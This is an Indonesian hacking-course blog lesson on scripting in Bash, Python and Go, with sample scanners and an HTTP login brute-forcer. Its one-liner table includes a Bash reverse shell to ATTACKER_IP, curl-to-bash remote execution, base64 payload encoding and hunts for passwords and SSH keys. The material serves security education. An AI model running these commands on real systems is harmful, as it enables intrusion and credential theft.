Scripting & Automation — Membangun Senjata dan Otomasi Eksploitasi

S4: Scripting & Automation — Membangun Senjata dan Otomasi Eksploitasi

Scripting & automation (pembuatan skrip & otomatisasi) adalah penggunaan kode program untuk menjalankan tugas-tugas rutin atau berulang secara otomatis tanpa campur tangan manusia.

scripting & automation by 6ickzone

Perbedaan antara peretas amatir dan profesional terletak pada efisiensi. Amatir mengandalkan alat buatan orang lain (Script Kiddies), sementara profesional membangun alatnya sendiri. Memahami Scripting memungkinkan kamu melakukan otomatisasi tugas yang membosankan, memodifikasi exploit yang ada, hingga menciptakan senjata serangan yang unik dan sulit dideteksi.


1. “The Big Three” Bahasa Peretas

Setiap bahasa memiliki peran spesifik dalam siklus hidup sebuah serangan. Kuasai ketiganya:

A. BASH — Sistem & Infiltrasi

Bahasa “asli” terminal Linux. Wajib dikuasai untuk membuat skrip post-exploitation, membersihkan log, hingga melakukan privilege escalation secara otomatis. Bash berjalan di hampir semua sistem Linux/Unix tanpa perlu instalasi tambahan — menjadikannya senjata pertama yang selalu tersedia.

Kasus penggunaan: Automated enumeration, log clearing, reverse shell one-liner, persistence via crontab, mass file searching.

B. PYTHON — Swiss Army Knife

Bahasa paling populer di dunia InfoSec. Digunakan untuk menulis exploit, alat scanning khusus, hingga manipulasi paket data. Library seperti requests, scapy, socket, paramiko, dan pwntools menjadikannya sangat powerful untuk security research.

Kasus penggunaan: Custom exploit development, web scraping, fuzzing, packet crafting, CVE PoC scripting, brute force tool.

C. GOLANG — Modern Tooling

Dikenal karena kecepatannya dan kemampuan kompilasi ke dalam satu file biner yang bisa langsung dijalankan di target tanpa dependency. Sangat populer untuk membuat tools recon masif seperti subdomain scanner, port scanner, atau C2 (Command & Control) framework modern.

Kasus penggunaan: Subdomain enumeration (Amass, subfinder), fast port scanning, malware/C2 development, cross-compile untuk berbagai OS target.

[PRINSIP KERJA]

Don’t Repeat Yourself (DRY): Jika kamu melakukan sebuah tugas lebih dari tiga kali secara manual — misal mengecek port terbuka di 100 IP — buatlah skripnya. Waktu adalah aset.

Modularity: Bangun skrip kecil yang bisa digabungkan. Gunakan piping di Linux untuk menghubungkan output skrip satu ke input skrip lainnya. Satu skrip, satu fungsi.


2. Bash Scripting — Fondasi Otomasi

Bash bukan sekadar perintah satu per satu. Dengan logika kondisional, loop, dan fungsi, Bash bisa menjadi mesin otomasi yang sangat powerful. Berikut konsep dasar yang wajib dikuasai:

Konsep Syntax Keterangan
Shebang #!/bin/bash Baris pertama skrip, memberitahu OS bahwa ini adalah Bash script.
Variabel NAME=”value”
echo $NAME
Tidak ada spasi di sekitar tanda =. Akses variabel dengan prefix $.
Input User read -p “Target: ” IP Membaca input dari pengguna dan menyimpannya ke variabel.
Kondisional if [ $x -eq 1 ]; then
  …
fi
Percabangan logika. Perhatikan spasi di dalam kurung siku.
Loop For for i in {1..254}; do
  …
done
Iterasi. Sangat berguna untuk scanning range IP atau port.
Loop While while read line; do
  …
done < file.txt
Baca file baris per baris. Ideal untuk wordlist processing.
Fungsi function scan() {
  …
}
scan
Mengelompokkan perintah agar bisa dipanggil berulang.
Command Substitution result=$(whoami) Simpan output sebuah command ke dalam variabel.
Argumen $1, $2, $@, $# $1 = argumen pertama, $@ = semua argumen, $# = jumlah argumen.

Contoh: Skrip Network Sweep Sederhana

#!/bin/bash
# Sweep host aktif di subnet /24

read -p “[*] Masukkan subnet (contoh: 192.168.1): “ SUBNET

echo “[*] Scanning $SUBNET.0/24 …”

for i in {1..254}; do
  ping -c 1 -W 1 $SUBNET.$i >/dev/null 2>&1
  if [ $? -eq 0 ]; then
    echo “[+] Host aktif: $SUBNET.$i”
  fi
done

💡 Cara menjalankan: Simpan sebagai sweep.shchmod +x sweep.sh./sweep.sh

3. Python untuk Keamanan Siber

Python adalah bahasa wajib di dunia InfoSec. Hampir semua framework exploit modern (Metasploit modules, PoC CVE, tools CTF) ditulis dalam Python. Berikut library dan konsep yang paling relevan:

Library Fungsi dalam Security Install
requests HTTP client. Kirim GET/POST dengan custom header, cookie, auth. Wajib untuk web exploit scripting. pip install requests
socket Built-in. Low-level networking — membuat port scanner, banner grabber, atau reverse shell dari scratch. built-in
scapy Packet crafting & sniffing. Buat paket TCP/UDP/ICMP custom, lakukan SYN scan, ARP spoofing. pip install scapy
paramiko SSH client library. Buat brute force SSH atau automasi command execution via SSH. pip install paramiko
pwntools Framework CTF dan binary exploitation. Untuk interaksi dengan binary, shellcode generation, ROP chains. pip install pwntools
beautifulsoup4 HTML parser. Scraping konten web, ekstrak form field, link, atau data tersembunyi di halaman. pip install bs4
cryptography Enkripsi/dekripsi data, hashing, dan operasi kriptografi untuk analisis atau membangun secure channel. pip install cryptography
argparse Built-in. Membuat CLI tool yang proper dengan flags dan argumen seperti tool profesional. built-in

Contoh: Port Scanner Sederhana dengan Python

#!/usr/bin/env python3
# Simple TCP Port Scanner — by 0x6ick

import socket
import sys

def scan_port(host, port):
  try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    result = s.connect_ex((host, port))
    if result == 0:
      print(f”[+] Port {port} OPEN”)
    s.close()
  except socket.error:
    pass

target = sys.argv[1]
print(f”[*] Scanning {target} …”)

for port in range(1, 1025):
  scan_port(target, port)

💡 Cara menjalankan: python3 scanner.py 192.168.1.1

Contoh: HTTP Brute Force Login Sederhana

#!/usr/bin/env python3
# HTTP POST Login Bruteforce — by 0x6ick
# Gunakan hanya di lab/sistem yang kamu miliki izin!

import requests

TARGET = “http://target.lab/login”
USERNAME = “admin”
WORDLIST = “rockyou.txt”

with open(WORDLIST, “r”, errors=“ignore”) as f:
  for password in f:
    password = password.strip()
    data = {“username”: USERNAME, “password”: password}
    r = requests.post(TARGET, data=data)
    if “Invalid” not in r.text:
      print(f”[+] Password ditemukan: {password}”)
      break


4. Bash One-Liners — Senjata Cepat

One-liner adalah perintah panjang dalam satu baris yang menggabungkan banyak tool dengan piping. Inilah efisiensi sesungguhnya di terminal. Berikut koleksi one-liner paling berguna dalam skenario keamanan:

Tujuan One-Liner Command
Cari file config berisi password find / -name “*.conf” 2>/dev/null | xargs grep -i “password” 2>/dev/null
List semua SUID binaries find / -perm -4000 -type f 2>/dev/null | xargs ls -la
Extract IP unik dari log Apache cat /var/log/apache2/access.log | awk ‘{print $1}’ | sort | uniq -c | sort -rn | head -20
Scan port 80 di subnet /24 for i in {1..254}; do nc -zv -w1 192.168.1.$i 80 2>&1 | grep succeeded; done
Reverse shell Bash bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Download dan jalankan skrip curl -s http://server/script.sh | bash
Cari file SSH key di sistem find / -name “id_rsa” -o -name “id_dsa” 2>/dev/null
Deteksi failed SSH login grep “Failed password” /var/log/auth.log | awk ‘{print $11}’ | sort | uniq -c | sort -rn
Encode payload ke Base64 echo “bash -i >& /dev/tcp/IP/4444 0>&1” | base64
⚠️ Disclaimer: Semua contoh di atas hanya untuk keperluan edukasi, CTF, dan pengujian di sistem yang kamu miliki izin secara legal. Penggunaan di sistem orang lain tanpa izin merupakan tindakan ilegal.

5. Golang — Tools Recon Berkecepatan Tinggi

Go dikompilasi menjadi binary tunggal yang bisa langsung dijalankan tanpa runtime tambahan. Ini membuatnya ideal untuk tools yang perlu dideploy ke target environment dengan cepat. Berikut tools security populer yang dibangun dengan Go:

  • subfinder — Subdomain enumeration tool. Menemukan subdomain dari berbagai passive source sekaligus.
  • httpx — HTTP probing masif. Mengecek status, title, teknologi dari daftar URL/domain dengan cepat.
  • nuclei — Vulnerability scanner berbasis template. Ribuan template CVE siap pakai.
  • ffuf — Web fuzzer berkecepatan tinggi untuk directory brute force, parameter fuzzing, dan vhost discovery.
  • gobuster — Directory dan DNS brute force tool. Alternatif ffuf yang populer.
  • naabu — Port scanner cepat berbasis Go. Bisa scan jutaan host dalam waktu singkat.

Contoh: Membuat Port Scanner Sederhana dengan Go

// Simple Port Scanner in Go — by 0x6ick
package main

import (
  “fmt”
  “net”
  “os”
  “sync”
)

func scanPort(host string, port int, wg *sync.WaitGroup) {
  defer wg.Done()
  addr := fmt.Sprintf(“%s:%d”, host, port)
  conn, err := net.Dial(“tcp”, addr)
  if err == nil {
    fmt.Printf(“[+] Port %d OPEN\n”, port)
    conn.Close()
  }
}

func main() {
  host := os.Args[1]
  var wg sync.WaitGroup
  for port := 1; port <= 1024; port++ {
    wg.Add(1)
    go scanPort(host, port, &wg)
  }
  wg.Wait()
}


6. Automation Flow — Menggabungkan Semua Tool

Kekuatan sesungguhnya scripting ada pada kemampuan menggabungkan banyak tool menjadi satu pipeline yang otomatis. Berikut contoh recon pipeline sederhana yang sering digunakan dalam bug bounty dan pentest:

[AUTOMATION PIPELINE : RECON FULL]

# Step 1: Subdomain Enumeration

subfinder -d target.com -silent | tee subdomains.txt

# Step 2: Probe HTTP/HTTPS aktif

cat subdomains.txt | httpx -silent | tee live_hosts.txt

# Step 3: Scan vulnerability dengan Nuclei

nuclei -l live_hosts.txt -severity medium,high,critical -o results.txt

# Step 4: Directory fuzzing pada host live

ffuf -u TARGET/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,403

💡 Tips Pipeline: Gunakan tee untuk menyimpan output sekaligus menampilkannya ke layar. Gunakan | (pipe) untuk mengalirkan output satu tool langsung ke tool berikutnya tanpa file sementara. Kombinasi ini adalah inti dari otomasi pentest modern.

7. Praktik Terbaik Menulis Skrip Keamanan

Skrip yang baik bukan hanya yang berjalan, tapi yang mudah dibaca, aman, dan bisa digunakan ulang:

  • Selalu tambahkan banner/header — Cantumkan nama tool, versi, dan author di awal skrip.
  • Validasi input — Selalu cek apakah argumen yang dibutuhkan sudah diberikan sebelum skrip berjalan.
  • Gunakan warna di output\e[32m untuk hijau (sukses), \e[31m untuk merah (error). Output yang terbaca lebih cepat = operasi lebih efisien.
  • Error handling — Tangani exception/error agar skrip tidak crash di tengah operasi panjang.
  • Tambahkan mode verbose/quiet — Flag -v untuk detail, default untuk output bersih.
  • Logging otomatis — Simpan semua output ke file log dengan timestamp. Kamu tidak akan mengingat semua temuan jika tidak tercatat.
  • Rate limiting — Tambahkan delay sleep antar request agar tidak memicu WAF atau rate limiter target.
  • Jangan hardcode credentials — Gunakan environment variable atau file config eksternal untuk menyimpan API key atau password.

Kesimpulan

“Scripting mengubah kamu dari pengguna menjadi pencipta. Penguasaan logika pemrograman akan mempermudah kamu memahami bagaimana sebuah aplikasi beroperasi dan di mana letak kelemahannya.”

Mulai dari yang sederhana — otomasi tugas yang kamu lakukan berulang setiap hari. Dari situ, kemampuan scripting-mu akan berkembang secara organik seiring pengalaman di lapangan.

Selanjutnya: S5 — Web Technology →

 

You may also like...

Leave a Reply

Your email address will not be published. Required fields are marked *